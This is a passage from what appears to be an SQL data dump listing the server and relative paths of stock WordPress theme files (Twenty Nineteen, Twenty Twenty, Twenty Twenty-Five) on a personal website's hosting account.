(878,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/package-lock.json','wp-content/themes/twentynineteen/package-lock.json'),
(879,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/package.json','wp-content/themes/twentynineteen/package.json'),
(880,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/page.php','wp-content/themes/twentynineteen/page.php'),
(881,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/postcss.config.js','wp-content/themes/twentynineteen/postcss.config.js'),
(882,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/print.css','wp-content/themes/twentynineteen/print.css'),
(883,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/print.scss','wp-content/themes/twentynineteen/print.scss'),
(884,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/readme.txt','wp-content/themes/twentynineteen/readme.txt'),
(885,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/_normalize.scss','wp-content/themes/twentynineteen/sass/_normalize.scss'),
(886,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/blocks/_blocks.scss','wp-content/themes/twentynineteen/sass/blocks/_blocks.scss'),
(887,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/elements/_elements.scss','wp-content/themes/twentynineteen/sass/elements/_elements.scss'),
(888,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/elements/_lists.scss','wp-content/themes/twentynineteen/sass/elements/_lists.scss'),
(889,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/elements/_tables.scss','wp-content/themes/twentynineteen/sass/elements/_tables.scss'),
(890,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/forms/_buttons.scss','wp-content/themes/twentynineteen/sass/forms/_buttons.scss'),
(891,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/forms/_fields.scss','wp-content/themes/twentynineteen/sass/forms/_fields.scss'),
(892,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/forms/_forms.scss','wp-content/themes/twentynineteen/sass/forms/_forms.scss'),
(893,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/layout/_layout.scss','wp-content/themes/twentynineteen/sass/layout/_layout.scss'),
(894,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/media/_captions.scss','wp-content/themes/twentynineteen/sass/media/_captions.scss'),
(895,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/media/_galleries.scss','wp-content/themes/twentynineteen/sass/media/_galleries.scss'),
(896,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/media/_media.scss','wp-content/themes/twentynineteen/sass/media/_media.scss'),
(897,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/mixins/_mixins-master.scss','wp-content/themes/twentynineteen/sass/mixins/_mixins-master.scss'),
(898,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/mixins/_utilities.scss','wp-content/themes/twentynineteen/sass/mixins/_utilities.scss'),
(899,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/modules/_accessibility.scss','wp-content/themes/twentynineteen/sass/modules/_accessibility.scss'),
(900,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/modules/_alignments.scss','wp-content/themes/twentynineteen/sass/modules/_alignments.scss'),
(901,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/modules/_clearings.scss','wp-content/themes/twentynineteen/sass/modules/_clearings.scss'),
(902,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/navigation/_links.scss','wp-content/themes/twentynineteen/sass/navigation/_links.scss'),
(903,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/navigation/_menu-footer-navigation.scss','wp-content/themes/twentynineteen/sass/navigation/_menu-footer-navigation.scss'),
(904,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/navigation/_menu-main-navigation.scss','wp-content/themes/twentynineteen/sass/navigation/_menu-main-navigation.scss'),
(905,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/navigation/_menu-social-navigation.scss','wp-content/themes/twentynineteen/sass/navigation/_menu-social-navigation.scss'),
(906,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/navigation/_navigation.scss','wp-content/themes/twentynineteen/sass/navigation/_navigation.scss'),
(907,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/navigation/_next-previous.scss','wp-content/themes/twentynineteen/sass/navigation/_next-previous.scss'),
(908,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/_site.scss','wp-content/themes/twentynineteen/sass/site/_site.scss'),
(909,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/footer/_site-footer.scss','wp-content/themes/twentynineteen/sass/site/footer/_site-footer.scss'),
(910,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/header/_site-featured-image.scss','wp-content/themes/twentynineteen/sass/site/header/_site-featured-image.scss'),
(911,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/header/_site-header.scss','wp-content/themes/twentynineteen/sass/site/header/_site-header.scss'),
(912,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/primary/_archives.scss','wp-content/themes/twentynineteen/sass/site/primary/_archives.scss'),
(913,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/primary/_comments.scss','wp-content/themes/twentynineteen/sass/site/primary/_comments.scss'),
(914,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/primary/_posts-and-pages.scss','wp-content/themes/twentynineteen/sass/site/primary/_posts-and-pages.scss'),
(915,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/secondary/_widgets.scss','wp-content/themes/twentynineteen/sass/site/secondary/_widgets.scss'),
(916,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/typography/_copy.scss','wp-content/themes/twentynineteen/sass/typography/_copy.scss'),
(917,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/typography/_headings.scss','wp-content/themes/twentynineteen/sass/typography/_headings.scss'),
(918,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/typography/_typography.scss','wp-content/themes/twentynineteen/sass/typography/_typography.scss'),
(919,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/variables-site/_colors.scss','wp-content/themes/twentynineteen/sass/variables-site/_colors.scss'),
(920,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/variables-site/_columns.scss','wp-content/themes/twentynineteen/sass/variables-site/_columns.scss'),
(921,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/variables-site/_fonts.scss','wp-content/themes/twentynineteen/sass/variables-site/_fonts.scss'),
(922,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/variables-site/_structure.scss','wp-content/themes/twentynineteen/sass/variables-site/_structure.scss'),
(923,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/variables-site/_transitions.scss','wp-content/themes/twentynineteen/sass/variables-site/_transitions.scss'),
(924,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/variables-site/_variables-site.scss','wp-content/themes/twentynineteen/sass/variables-site/_variables-site.scss'),
(925,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/screenshot.png','wp-content/themes/twentynineteen/screenshot.png'),
(926,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/search.php','wp-content/themes/twentynineteen/search.php'),
(927,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/single.php','wp-content/themes/twentynineteen/single.php'),
(928,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style-editor-customizer.css','wp-content/themes/twentynineteen/style-editor-customizer.css'),
(929,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style-editor-customizer.scss','wp-content/themes/twentynineteen/style-editor-customizer.scss'),
(930,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style-editor.css','wp-content/themes/twentynineteen/style-editor.css'),
(931,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style-editor.scss','wp-content/themes/twentynineteen/style-editor.scss'),
(932,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style-rtl.css','wp-content/themes/twentynineteen/style-rtl.css'),
(933,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style.css','wp-content/themes/twentynineteen/style.css'),
(934,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style.css.map','wp-content/themes/twentynineteen/style.css.map'),
(935,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/style.scss','wp-content/themes/twentynineteen/style.scss'),
(936,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/content/content-excerpt.php','wp-content/themes/twentynineteen/template-parts/content/content-excerpt.php'),
(937,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/content/content-none.php','wp-content/themes/twentynineteen/template-parts/content/content-none.php'),
(938,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/content/content-page.php','wp-content/themes/twentynineteen/template-parts/content/content-page.php'),
(939,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/content/content-single.php','wp-content/themes/twentynineteen/template-parts/content/content-single.php'),
(940,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/content/content.php','wp-content/themes/twentynineteen/template-parts/content/content.php'),
(941,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/footer/footer-widgets.php','wp-content/themes/twentynineteen/template-parts/footer/footer-widgets.php'),
(942,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/header/entry-header.php','wp-content/themes/twentynineteen/template-parts/header/entry-header.php'),
(943,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/header/site-branding.php','wp-content/themes/twentynineteen/template-parts/header/site-branding.php'),
(944,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/post/author-bio.php','wp-content/themes/twentynineteen/template-parts/post/author-bio.php'),
(945,'/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/post/discussion-meta.php','wp-content/themes/twentynineteen/template-parts/post/discussion-meta.php'),
(946,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/404.php','wp-content/themes/twentytwenty/404.php'),
(947,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/css/editor-style-block-rtl.css','wp-content/themes/twentytwenty/assets/css/editor-style-block-rtl.css'),
(948,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/css/editor-style-block.css','wp-content/themes/twentytwenty/assets/css/editor-style-block.css'),
(949,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/css/editor-style-classic-rtl.css','wp-content/themes/twentytwenty/assets/css/editor-style-classic-rtl.css'),
(950,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/css/editor-style-classic.css','wp-content/themes/twentytwenty/assets/css/editor-style-classic.css'),
(951,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/css/font-inter.css','wp-content/themes/twentytwenty/assets/css/font-inter.css'),
(952,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/fonts/inter/Inter-italic-var.woff2','wp-content/themes/twentytwenty/assets/fonts/inter/Inter-italic-var.woff2'),
(953,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/fonts/inter/Inter-upright-var.woff2','wp-content/themes/twentytwenty/assets/fonts/inter/Inter-upright-var.woff2'),
(954,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-landscape-1.png','wp-content/themes/twentytwenty/assets/images/2020-landscape-1.png'),
(955,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-landscape-2.png','wp-content/themes/twentytwenty/assets/images/2020-landscape-2.png'),
(956,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-square-1.png','wp-content/themes/twentytwenty/assets/images/2020-square-1.png'),
(957,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-square-2.png','wp-content/themes/twentytwenty/assets/images/2020-square-2.png'),
(958,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-three-quarters-1.png','wp-content/themes/twentytwenty/assets/images/2020-three-quarters-1.png'),
(959,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-three-quarters-2.png','wp-content/themes/twentytwenty/assets/images/2020-three-quarters-2.png'),
(960,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-three-quarters-3.png','wp-content/themes/twentytwenty/assets/images/2020-three-quarters-3.png'),
(961,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-three-quarters-4.png','wp-content/themes/twentytwenty/assets/images/2020-three-quarters-4.png'),
(962,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/color-calculations.js','wp-content/themes/twentytwenty/assets/js/color-calculations.js'),
(963,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/customize-controls.js','wp-content/themes/twentytwenty/assets/js/customize-controls.js'),
(964,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/customize-preview.js','wp-content/themes/twentytwenty/assets/js/customize-preview.js'),
(965,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/customize.js','wp-content/themes/twentytwenty/assets/js/customize.js'),
(966,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/editor-script-block.js','wp-content/themes/twentytwenty/assets/js/editor-script-block.js'),
(967,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/index.js','wp-content/themes/twentytwenty/assets/js/index.js'),
(968,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/skip-link-focus-fix.js','wp-content/themes/twentytwenty/assets/js/skip-link-focus-fix.js'),
(969,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-customize.php','wp-content/themes/twentytwenty/classes/class-twentytwenty-customize.php'),
(970,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-non-latin-languages.php','wp-content/themes/twentytwenty/classes/class-twentytwenty-non-latin-languages.php'),
(971,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-script-loader.php','wp-content/themes/twentytwenty/classes/class-twentytwenty-script-loader.php'),
(972,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-separator-control.php','wp-content/themes/twentytwenty/classes/class-twentytwenty-separator-control.php'),
(973,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-svg-icons.php','wp-content/themes/twentytwenty/classes/class-twentytwenty-svg-icons.php'),
(974,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-walker-comment.php','wp-content/themes/twentytwenty/classes/class-twentytwenty-walker-comment.php'),
(975,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/classes/class-twentytwenty-walker-page.php','wp-content/themes/twentytwenty/classes/class-twentytwenty-walker-page.php'),
(976,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/comments.php','wp-content/themes/twentytwenty/comments.php'),
(977,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/footer.php','wp-content/themes/twentytwenty/footer.php'),
(978,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/functions.php','wp-content/themes/twentytwenty/functions.php'),
(979,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/header.php','wp-content/themes/twentytwenty/header.php'),
(980,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/inc/block-patterns.php','wp-content/themes/twentytwenty/inc/block-patterns.php'),
(981,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/inc/custom-css.php','wp-content/themes/twentytwenty/inc/custom-css.php'),
(982,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/inc/starter-content.php','wp-content/themes/twentytwenty/inc/starter-content.php'),
(983,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/inc/svg-icons.php','wp-content/themes/twentytwenty/inc/svg-icons.php'),
(984,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/inc/template-tags.php','wp-content/themes/twentytwenty/inc/template-tags.php'),
(985,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/index.php','wp-content/themes/twentytwenty/index.php'),
(986,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/package-lock.json','wp-content/themes/twentytwenty/package-lock.json'),
(987,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/package.json','wp-content/themes/twentytwenty/package.json'),
(988,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/print.css','wp-content/themes/twentytwenty/print.css'),
(989,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/readme.txt','wp-content/themes/twentytwenty/readme.txt'),
(990,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/screenshot.png','wp-content/themes/twentytwenty/screenshot.png'),
(991,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/searchform.php','wp-content/themes/twentytwenty/searchform.php'),
(992,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/singular.php','wp-content/themes/twentytwenty/singular.php'),
(993,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/style-rtl.css','wp-content/themes/twentytwenty/style-rtl.css'),
(994,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/style.css','wp-content/themes/twentytwenty/style.css'),
(995,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/content-cover.php','wp-content/themes/twentytwenty/template-parts/content-cover.php'),
(996,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/content.php','wp-content/themes/twentytwenty/template-parts/content.php'),
(997,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/entry-author-bio.php','wp-content/themes/twentytwenty/template-parts/entry-author-bio.php'),
(998,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/entry-header.php','wp-content/themes/twentytwenty/template-parts/entry-header.php'),
(999,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/featured-image.php','wp-content/themes/twentytwenty/template-parts/featured-image.php'),
(1000,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/footer-menus-widgets.php','wp-content/themes/twentytwenty/template-parts/footer-menus-widgets.php'),
(1001,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/modal-menu.php','wp-content/themes/twentytwenty/template-parts/modal-menu.php'),
(1002,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/modal-search.php','wp-content/themes/twentytwenty/template-parts/modal-search.php'),
(1003,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/navigation.php','wp-content/themes/twentytwenty/template-parts/navigation.php'),
(1004,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/pagination.php','wp-content/themes/twentytwenty/template-parts/pagination.php'),
(1005,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/templates/template-cover.php','wp-content/themes/twentytwenty/templates/template-cover.php'),
(1006,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/templates/template-full-width.php','wp-content/themes/twentytwenty/templates/template-full-width.php'),
(1007,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/css/editor-style.css','wp-content/themes/twentytwentyfive/assets/css/editor-style.css'),
(1008,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2','wp-content/themes/twentytwentyfive/assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2'),
(1009,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2'),
(1010,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Black.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Black.woff2'),
(1011,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BlackItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BlackItalic.woff2'),
(1012,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Bold.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Bold.woff2'),
(1013,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BoldItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-BoldItalic.woff2'),
(1014,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBold.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBold.woff2'),
(1015,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2'),
(1016,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLight.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLight.woff2'),
(1017,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2'),
(1018,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Italic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Italic.woff2'),
(1019,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Light.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Light.woff2'),
(1020,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-LightItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-LightItalic.woff2'),
(1021,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Medium.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Medium.woff2'),
(1022,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-MediumItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-MediumItalic.woff2'),
(1023,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Regular.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Regular.woff2'),
(1024,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBold.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBold.woff2'),
(1025,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2'),
(1026,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Thin.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Thin.woff2'),
(1027,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ThinItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ThinItalic.woff2'),
(1028,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Black.woff2'),
(1029,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BlackItalic.woff2'),
(1030,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Bold.woff2'),
(1031,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-BoldItalic.woff2'),
(1032,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBold.woff2'),
(1033,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2'),
(1034,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLight.woff2'),
(1035,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2'),
(1036,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Light.woff2'),
(1037,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-LightItalic.woff2'),
(1038,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2'),
(1039,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-MediumItalic.woff2'),
(1040,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Regular.woff2'),
(1041,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2'),
(1042,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBold.woff2'),
(1043,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2'),
(1044,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2','wp-content/themes/twentytwentyfive/assets/fonts/manrope/Manrope-VariableFont_wght.woff2'),
(1045,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2','wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2'),
(1046,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2','wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-VariableFont_wght.woff2'),
(1047,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/roboto-slab/RobotoSlab-VariableFont_wght.woff2','wp-content/themes/twentytwentyfive/assets/fonts/roboto-slab/RobotoSlab-VariableFont_wght.woff2'),
(1048,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2','wp-content/themes/twentytwentyfive/assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2'),
